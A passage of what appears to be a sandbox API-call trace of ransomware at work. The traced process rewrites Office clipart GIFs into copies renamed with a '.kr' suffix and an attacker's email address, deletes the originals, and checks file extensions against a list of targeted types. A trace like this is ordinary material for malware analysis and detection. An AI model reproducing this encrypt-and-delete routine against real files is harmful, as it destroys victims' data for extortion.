lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x62c0, lpOverlapped=0x0) returned 1 [0203.908] ReadFile (in: hFile=0x53c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.908] WriteFile (in: hFile=0x36c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0203.908] SetEndOfFile (hFile=0x36c) returned 1 [0203.908] CloseHandle (hObject=0x36c) returned 1 [0203.908] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.908] SetEndOfFile (hFile=0x53c) returned 1 [0203.911] CloseHandle (hObject=0x53c) returned 1 [0203.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.912] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 1 [0203.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0203.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0203.913] lstrlenW (lpString=".doc") returned 4 [0203.913] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0203.913] lstrlenW (lpString=".docx") returned 5 [0203.913] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0203.913] lstrlenW (lpString=".pdf") returned 4 [0203.913] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0203.913] lstrlenW (lpString=".xls") returned 4 [0203.913] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0203.913] lstrlenW (lpString=".xlsx") returned 5 [0203.913] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0203.913] lstrlenW (lpString=".ppt") returned 4 [0203.913] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0203.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0203.913] lstrlenW (lpString=".zip") returned 4 [0203.913] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0203.913] lstrlenW (lpString=".rar") returned 4 [0203.913] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0203.913] lstrlenW (lpString=".bz2") returned 4 [0203.913] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0203.913] lstrlenW (lpString=".7z") returned 3 [0203.913] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0203.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0203.913] lstrlenW (lpString=".dbf") returned 4 [0203.913] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0203.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0203.913] lstrlenW (lpString=".1cd") returned 4 [0203.913] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0203.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0203.913] lstrlenW (lpString=".jpg") returned 4 [0203.913] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0203.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0203.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0203.913] lstrlenW (lpString=".doc") returned 4 [0203.914] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0203.914] lstrlenW (lpString=".docx") returned 5 [0203.914] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0203.914] lstrlenW (lpString=".pdf") returned 4 [0203.914] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0203.914] lstrlenW (lpString=".xls") returned 4 [0203.914] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0203.914] lstrlenW (lpString=".xlsx") returned 5 [0203.914] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0203.914] lstrlenW (lpString=".ppt") returned 4 [0203.914] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0203.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0203.914] lstrlenW (lpString=".zip") returned 4 [0203.914] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0203.914] lstrlenW (lpString=".rar") returned 4 [0203.914] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0203.914] lstrlenW (lpString=".bz2") returned 4 [0203.914] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0203.914] lstrlenW (lpString=".7z") returned 3 [0203.914] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0203.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0203.914] lstrlenW (lpString=".dbf") returned 4 [0203.914] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0203.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0203.914] lstrlenW (lpString=".1cd") returned 4 [0203.914] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0203.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0203.914] lstrlenW (lpString=".jpg") returned 4 [0203.914] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0203.914] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0203.915] lstrlenW (lpString="J0099195.GIF") returned 12 [0203.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0203.916] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=19923) returned 1 [0203.916] CloseHandle (hObject=0x53c) returned 1 [0203.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 0x220 [0203.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0203.916] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.916] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0203.917] GetLastError () returned 0x0 [0203.917] ReadFile (in: hFile=0x53c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x4dd3, lpOverlapped=0x0) returned 1 [0203.919] WriteFile (in: hFile=0x36c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0203.920] ReadFile (in: hFile=0x53c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.920] WriteFile (in: hFile=0x36c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0203.921] SetEndOfFile (hFile=0x36c) returned 1 [0203.921] CloseHandle (hObject=0x36c) returned 1 [0203.921] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.921] SetEndOfFile (hFile=0x53c) returned 1 [0203.936] CloseHandle (hObject=0x53c) returned 1 [0203.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.936] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 1 [0203.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0203.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0203.937] lstrlenW (lpString=".doc") returned 4 [0203.937] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0203.937] lstrlenW (lpString=".docx") returned 5 [0203.937] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0203.937] lstrlenW (lpString=".pdf") returned 4 [0203.937] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0203.937] lstrlenW (lpString=".xls") returned 4 [0203.937] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0203.937] lstrlenW (lpString=".xlsx") returned 5 [0203.937] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0203.937] lstrlenW (lpString=".ppt") returned 4 [0203.937] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0203.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0203.937] lstrlenW (lpString=".zip") returned 4 [0203.937] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0203.937] lstrlenW (lpString=".rar") returned 4 [0203.937] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0203.937] lstrlenW (lpString=".bz2") returned 4 [0203.937] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0203.938] lstrlenW (lpString=".7z") returned 3 [0203.938] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0203.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0203.938] lstrlenW (lpString=".dbf") returned 4 [0203.938] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0203.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0203.938] lstrlenW (lpString=".1cd") returned 4 [0203.938] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0203.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0203.938] lstrlenW (lpString=".jpg") returned 4 [0203.938] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0203.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0203.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0203.938] lstrlenW (lpString=".doc") returned 4 [0203.938] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0203.938] lstrlenW (lpString=".docx") returned 5 [0203.938] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0203.938] lstrlenW (lpString=".pdf") returned 4 [0203.938] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0203.938] lstrlenW (lpString=".xls") returned 4 [0203.938] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0203.938] lstrlenW (lpString=".xlsx") returned 5 [0203.938] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0203.938] lstrlenW (lpString=".ppt") returned 4 [0203.938] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0203.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0203.938] lstrlenW (lpString=".zip") returned 4 [0203.938] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0203.938] lstrlenW (lpString=".rar") returned 4 [0203.938] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0203.938] lstrlenW (lpString=".bz2") returned 4 [0203.938] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0203.938] lstrlenW (lpString=".7z") returned 3 [0203.939] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0203.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0203.939] lstrlenW (lpString=".dbf") returned 4 [0203.939] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0203.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0203.939] lstrlenW (lpString=".1cd") returned 4 [0203.939] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0203.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0203.939] lstrlenW (lpString=".jpg") returned 4 [0203.939] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0203.939] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0203.939] lstrlenW (lpString="J0099196.GIF") returned 12 [0203.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0203.940] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=14337) returned 1 [0203.940] CloseHandle (hObject=0x53c) returned 1 [0203.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 0x220 [0204.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0204.396] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.396] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0204.400] GetLastError () returned 0x0 [0204.400] ReadFile (in: hFile=0x370, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x3801, lpOverlapped=0x0) returned 1 [0204.410] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x3810, lpOverlapped=0x0) returned 1 [0204.411] ReadFile (in: hFile=0x370, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.412] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0204.412] SetEndOfFile (hFile=0x4d8) returned 1 [0204.412] CloseHandle (hObject=0x4d8) returned 1 [0204.412] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.412] SetEndOfFile (hFile=0x370) returned 1 [0204.414] CloseHandle (hObject=0x370) returned 1 [0204.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 1 [0204.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0204.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0204.416] lstrlenW (lpString=".doc") returned 4 [0204.416] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0204.416] lstrlenW (lpString=".docx") returned 5 [0204.416] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0204.416] lstrlenW (lpString=".pdf") returned 4 [0204.416] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0204.416] lstrlenW (lpString=".xls") returned 4 [0204.416] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0204.416] lstrlenW (lpString=".xlsx") returned 5 [0204.416] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0204.416] lstrlenW (lpString=".ppt") returned 4 [0204.416] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0204.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0204.416] lstrlenW (lpString=".zip") returned 4 [0204.416] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0204.416] lstrlenW (lpString=".rar") returned 4 [0204.416] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0204.416] lstrlenW (lpString=".bz2") returned 4 [0204.416] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0204.416] lstrlenW (lpString=".7z") returned 3 [0204.416] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0204.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0204.416] lstrlenW (lpString=".dbf") returned 4 [0204.416] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0204.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0204.416] lstrlenW (lpString=".1cd") returned 4 [0204.416] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0204.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0204.416] lstrlenW (lpString=".jpg") returned 4 [0204.416] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0204.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0204.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0204.417] lstrlenW (lpString=".doc") returned 4 [0204.417] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0204.417] lstrlenW (lpString=".docx") returned 5 [0204.417] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0204.417] lstrlenW (lpString=".pdf") returned 4 [0204.417] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0204.417] lstrlenW (lpString=".xls") returned 4 [0204.417] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0204.417] lstrlenW (lpString=".xlsx") returned 5 [0204.417] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0204.417] lstrlenW (lpString=".ppt") returned 4 [0204.417] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0204.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0204.417] lstrlenW (lpString=".zip") returned 4 [0204.417] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0204.417] lstrlenW (lpString=".rar") returned 4 [0204.417] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0204.417] lstrlenW (lpString=".bz2") returned 4 [0204.417] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0204.417] lstrlenW (lpString=".7z") returned 3 [0204.417] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0204.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0204.417] lstrlenW (lpString=".dbf") returned 4 [0204.417] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0204.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0204.417] lstrlenW (lpString=".1cd") returned 4 [0204.417] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0204.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0204.417] lstrlenW (lpString=".jpg") returned 4 [0204.417] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0204.418] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0204.418] lstrlenW (lpString="J0099200.GIF") returned 12 [0204.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0204.431] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=16543) returned 1 [0204.431] CloseHandle (hObject=0x370) returned 1 [0204.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 0x220 [0204.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0204.434] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.434] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0204.435] GetLastError () returned 0x0 [0204.435] ReadFile (in: hFile=0x370, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x409f, lpOverlapped=0x0) returned 1 [0204.437] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x40a0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x40a0, lpOverlapped=0x0) returned 1 [0204.438] ReadFile (in: hFile=0x370, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.438] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) 